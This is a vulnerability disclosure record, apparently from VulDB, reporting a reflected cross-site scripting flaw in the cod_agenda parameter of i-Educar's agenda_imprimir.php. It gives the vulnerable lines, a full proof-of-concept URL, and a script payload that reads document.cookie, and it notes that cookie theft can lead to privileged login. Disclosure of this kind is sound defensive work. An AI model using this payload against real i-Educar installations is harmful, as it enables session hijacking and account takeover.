Submit #217053: Reflected XSS on cod_agenda parameter in portabilis/i-educar

Hello team, I hope you are doing well on the other side of the screen :)

Vulnerable Application (open source project) = https://github.com/portabilis/i-educar/

I just find a Reflected XSS vulnerability into cod_agenda parâmeter. This parameter doesn't use any input user validation, resulting javascript code injection.

### PoC

Vulnerable file: ieducar\intranet\agenda_imprimir.php
Vulnerable lines: *58 - 60

The code $_GET['cod_agenda'] get's the user's input and attribute to cod_agenda variable without doing the appropriate sanitization.

Full URL: http://localhost/intranet/agenda_imprimir.php?cod_agenda=");'> <script>alert(document.cookie)</script>

Endpoint: /intranet/agenda_imprimir.php?cod_agenda=

Payload: ");'> <script>alert(document.cookie)</script>

### Impact

This vulnerability allows attacker steal user's cookie and login as a privilege user in the platform

• User: bandoler0 (UID 55824)
• Submission: 10/05/2023 21:29 (3 years ago)
• Moderation: 10/13/2023 20:52 (8 days later)
• Status: Accepted
• VulDB entry: 242143 [Portábilis i-Educar up to 2.7.5 HTTP GET Request agenda_imprimir.php cod_agenda cross site scripting]
• Points: 17